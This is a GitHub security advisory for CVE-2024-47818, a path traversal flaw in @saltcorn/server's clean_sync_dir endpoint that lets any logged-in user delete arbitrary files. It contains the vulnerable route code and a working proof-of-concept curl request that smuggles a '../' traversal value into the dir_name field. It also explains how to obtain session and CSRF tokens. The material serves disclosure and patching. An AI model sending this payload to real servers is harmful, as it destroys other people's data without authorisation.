GHSA-43f3-h63w-p6f6
Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @saltcorn/server | < 1.0.0-beta.16 | 1.0.0-beta.16 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`.
### Details
- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346
```js
router.post(
"/clean_sync_dir",
error_catcher(async (req, res) => {
const { dir_name } = req.body; // [1] source
try {
const rootFolder = await File.rootFolder();
const syncDir = path.join(
rootFolder.location,
"mobile_app",
"sync",
dir_name // [2]
);
await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
res.status(200).send("");
} catch (error) {
getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
res.status(400).json({ error: error.message || error });
}
})
);
```
### PoC
The following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`)
- create a file in a folder different from where the server is started:
```
touch /tmp/secret
cat /tmp/secret
```
- log with a user and retrieve valid `connect.sid` and `_csrf` values***
- send the following `curl` request
```
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded' \
-H $'Content-Length: 93' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
--data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
$'http://localhost:3000/sync/clean_sync_dir'
```
- check if the file previously created does not exist anymore:
```
cat /tmp/secret
cat: /tmp/secret: No such file or directory
```
*** obtain `connect.sid` and `_csrf` values
A possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality:
- log in
- open the browser developer console, go to the `Network` tab filter for `settings` request
- visit `http://localhost:3000/auth/settings`
- trigger the change password functionality
- under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command
### Impact
Arbitrary file delete
### Recommended Mitigation
Resolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/saltcorn/saltcorn/security/advisories/GHSA-43f3-h63w-p6f6
- https://nvd.nist.gov/vuln/detail/CVE-2024-47818
- https://github.com/saltcorn/saltcorn/commit/3c551261d0e230635774798009951fa83a07cc3a
- https://github.com/saltcorn/saltcorn
- https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346